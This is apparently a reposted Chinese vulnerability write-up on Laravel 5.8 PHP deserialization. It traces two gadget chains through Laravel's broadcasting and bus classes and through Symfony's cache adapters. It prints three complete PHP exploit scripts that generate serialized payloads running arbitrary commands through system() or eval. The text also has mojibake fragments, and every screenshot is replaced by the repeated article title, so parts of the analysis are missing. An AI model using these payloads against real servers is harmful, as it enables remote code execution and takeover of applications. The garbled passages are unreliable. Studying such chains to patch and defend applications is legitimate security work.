Laravel5.8反序列化漏洞的示例分析

這篇文章將為大家詳細(xì)講解有關(guān)Laravel 5.8反序列化漏洞的示例分析,小編覺得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。

從策劃到設(shè)計(jì)制作,每一步都追求做到細(xì)膩,制作可持續(xù)發(fā)展的企業(yè)網(wǎng)站。為客戶提供網(wǎng)站設(shè)計(jì)、網(wǎng)站建設(shè)、網(wǎng)站策劃、網(wǎng)頁設(shè)計(jì)、域名與空間、虛擬空間、網(wǎng)絡(luò)營(yíng)銷、VI設(shè)計(jì)、 網(wǎng)站改版、漏洞修補(bǔ)等服務(wù)。為客戶提供更好的一站式互聯(lián)網(wǎng)解決方案,以客戶的口碑塑造優(yōu)易品牌,攜手廣大客戶,共同發(fā)展進(jìn)步。

Laravel 5.8反序列化漏洞

POP鏈1

PendingBroadcast->destruct --->Dispatcher->dispatch --->Dispatcher->dispatchToQueue

先看Dispatcher->dispatchToQueue,只要call_user_func的參數(shù)都可控,即可執(zhí)行任意命令

Laravel 5.8反序列化漏洞的示例分析

再看pop鏈?zhǔn)?/p>

PendingBroadcast->__destruct

Laravel 5.8反序列化漏洞的示例分析

$this->events與$this->event可控。

這里需要調(diào)用Dispatcher->dispatch

Laravel 5.8反序列化漏洞的示例分析

跟進(jìn)commandShouldBeQueued,只要$command屬于ShouldQueue類(子類也行)即可返回true

Laravel 5.8反序列化漏洞的示例分析

跟進(jìn)Dispatcher->dispatchToQueue

Laravel 5.8反序列化漏洞的示例分析

$this->queueResolver可控,$connection由傳入的$command控制,也即是上面的$this->event,可控。

只要找到一個(gè)包含$connection屬性的ShouldQueue的實(shí)現(xiàn)類即可執(zhí)行任意代碼。

先找到ShouldQueue的實(shí)現(xiàn)類如下

Laravel 5.8反序列化漏洞的示例分析

這些類自身沒有$connection屬性,但是一些類使用的trait類Queueable中有$connection,如下

Laravel 5.8反序列化漏洞的示例分析

故如下類,可用

QueuedCommand
BroadcastEvent
SendQueuedNotifications
CallQueuedClosure

至此已可編寫exp,整理一下

PendingBroadcast->events = Dispatcher類
PendingBroadcast->event = BroadcastEvent類		//包含$connection屬性的ShouldQueue的實(shí)現(xiàn)類	

Dispatcher->queueResolver = 要執(zhí)行的函數(shù)	
BroadcastEvent->connection = 參數(shù)	

exp1

<?php

namespace Illuminate\Bus;
class Dispatcher implements QueueingDispatcher{
    protected $queueResolver;
    
    public function __construct(){
        $this->queueResolver = "system";
    }
}

namespace Illuminate\Broadcasting;
class BroadcastEvent implements ShouldQueue{
    public $connection;
    
    public function __construct($cmd){
        $this->connection  = $cmd;
    }
}
    
namespace Illuminate\Broadcasting;
class PendingBroadcast{
    protected $events;
    protected $event;
    
    public function __construct($events,$event){
        $this->events = $events;
        $this->event = $event;
    }   
}
$broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($argv[1]);
$dispatcher = new Illuminate\Bus\Dispatcher();
$pending = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);

echo urlencode(serialize($pending));
echo "\n";
?>

Laravel 5.8反序列化漏洞的示例分析

Laravel 5.8反序列化漏洞的示例分析

控制broadcastevent的$connection為要執(zhí)行命令的參數(shù)即可執(zhí)行命令了,其他師傅沒有這么做,不是很理解原因。但是下面還是說一下其他師傅的。

利用參數(shù)可控的call_user_func可調(diào)用任意類方法,如下

Laravel 5.8反序列化漏洞的示例分析

故,這里可以調(diào)用EvalLoader類的load方法,如下

Laravel 5.8反序列化漏洞的示例分析

MockDefinition類的getCode方法返回值可控,如下

Laravel 5.8反序列化漏洞的示例分析

只要控制了code并且不進(jìn)入if語句(使得$definition->getClassName為一個(gè)未被載入的類),即可執(zhí)行代碼

跟蹤getClassName方法

Laravel 5.8反序列化漏洞的示例分析

全局查找返回值可控的getName方法,發(fā)現(xiàn)MockConfiguration類

Laravel 5.8反序列化漏洞的示例分析

至此可編寫exp,整理一下如下

PendingBroadcast->events = Dispatcher類
PendingBroadcast->event = BroadcastEvent類		//包含$connection屬性的ShouldQueue的實(shí)現(xiàn)類	

Dispatcher->queueResolver = [EvalLoader類,"load"]		
BroadcastEvent->connection = MockDefinition類	

MockDefinition->config = MockConfiguration類		//任一getName返回值可控的類
MockDefinition->code = 要執(zhí)行的代碼
MockConfiguration->name = ConfigCacheCommand類	//任一未被載入的類

exp2

<?php

namespace Illuminate\Bus;
class Dispatcher{
    protected $queueResolver;
    
    public function __construct($cmd){
        $this->queueResolver = $cmd;
    }
}

namespace Illuminate\Broadcasting;
class BroadcastEvent{
    public $connection;
    
    public function __construct($cmd){
        $this->connection  = $cmd;
    }
}

namespace Mockery\Generator;
class MockDefinition{
	protected $config;
	protected $code;

	public function __construct($mockconfiguration,$code){
		$this->config = $mockconfiguration;
		$this->code = $code;
	}
}

namespace Mockery\Generator;
class MockConfiguration{
	protected $name;

	public function __construct($class){
		$this->name  = $class;
	}
}

namespace Mockery\Loader;
class EvalLoader{
}

namespace Illuminate\Foundation\Console;
class ConfigCacheCommand{
}
    
namespace Illuminate\Broadcasting;
class PendingBroadcast{
    protected $events;
    protected $event;
    
    public function __construct($events,$event){
        $this->events = $events;
        $this->event = $event;
    }   
}
$mockconfiguration = new \Mockery\Generator\MockConfiguration(new \Illuminate\Foundation\Console\ConfigCacheCommand());
$mockdefinition = new \Mockery\Generator\MockDefinition($mockconfiguration,"<?php system($argv[1]);?>");
$broadcastevent = new \Illuminate\Broadcasting\BroadcastEvent($mockdefinition);
$dispatcher = new \Illuminate\Bus\Dispatcher(array(new \Mockery\Loader\EvalLoader(),"load"));
$pending = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);

echo urlencode(serialize($pending));
echo "\n";
?>

Laravel 5.8反序列化漏洞的示例分析

POP鏈2

TagAwareAdapter->__destruct --->TagAwareAdapter->commit --->TagAwareAdapter->invalidateTags --->ProxyAdapter->saveDeferrred --->ProxyAdapter->doSave

先看命令執(zhí)行處

Laravel 5.8反序列化漏洞的示例分析

若ProxyAdapter->setInnerItem、$innerItem、$item可控,則可命令執(zhí)行。

回到POP鏈?zhǔn)?/p>

TagAwareAdapter->__destruct

Laravel 5.8反序列化漏洞的示例分析

跟進(jìn),TagAwareAdapter->commit

Laravel 5.8反序列化漏洞的示例分析

跟進(jìn),TagAwareAdapter->invalidateTags(截取部分)

Laravel 5.8反序列化漏洞的示例分析

令$this->pool=ProxyAdapter類

跟進(jìn)ProxyAdapter->saveDeferred

Laravel 5.8反序列化漏洞的示例分析

跟進(jìn)ProxyAdapter->doSave

Laravel 5.8反序列化漏洞的示例分析

首先,$item為我們傳入的參數(shù),也即是$TagAwareAdapter->deferred,可控。

204行的if語句,只要使得$item為CacheItem的實(shí)例即可通過。

$this->setInnerItem為ProxyAdapter的屬性,可控。

$innerItem可通過代碼213行控制
Laravel 5.8反序列化漏洞的示例分析

至此可以編寫exp,整理一下

$TagAwareAdapter->deferred = ["4ut15m",CacheItem類]
$TagAwareAdapter->pool = ProxyAdapter類

$ProxyAdapter->setInnerItem = "system";
$ProxyAdapter->poolHash = "4ut15m";

$CacheItem->innerItem = 要執(zhí)行的命令
$CacheItem->poolHash = "4ut15m";

這條鏈并不復(fù)雜,具體的內(nèi)容看exp

exp

<?php

namespace Symfony\Component\Cache\Adapter;
class TagAwareAdapter{
	private $deferred;
	private $pool;

	public function __construct($obj, $obj2){
		$this->deferred = array("4ut15m" => $obj2);
		$this->pool = $obj;
	}

}

namespace Symfony\Component\Cache;
final class CacheItem{
	protected $innerItem;
	protected $poolHash;
	public function __construct($cmd){
		$this->innerItem = "$cmd";
		$this->poolHash = "4ut15m";
	}
}

namespace Symfony\Component\Cache\Adapter;
class ProxyAdapter{
	private $setInnerItem;
	private $poolHash;
	public function __construct(){
		$this->setInnerItem = "system";
		$this->poolHash = "4ut15m";
	}
}


$cacheitem = new \Symfony\Component\Cache\CacheItem($argv[1]);
$proxyadapter = new \Symfony\Component\Cache\Adapter\ProxyAdapter();

$TagAwareAdapter = new \Symfony\Component\Cache\Adapter\TagAwareAdapter($proxyadapter, $cacheitem);

echo urlencode(serialize($TagAwareAdapter));
echo "\n";
?>

Laravel 5.8反序列化漏洞的示例分析

Laravel 5.8反序列化漏洞的示例分析

關(guān)于“Laravel 5.8反序列化漏洞的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,使各位可以學(xué)到更多知識(shí),如果覺得文章不錯(cuò),請(qǐng)把它分享出去讓更多的人看到。

名稱欄目:Laravel5.8反序列化漏洞的示例分析
鏈接地址:http://bm7419.com/article14/jceige.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供服務(wù)器托管、做網(wǎng)站、App設(shè)計(jì)、網(wǎng)站營(yíng)銷、網(wǎng)站內(nèi)鏈、靜態(tài)網(wǎng)站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

h5響應(yīng)式網(wǎng)站建設(shè)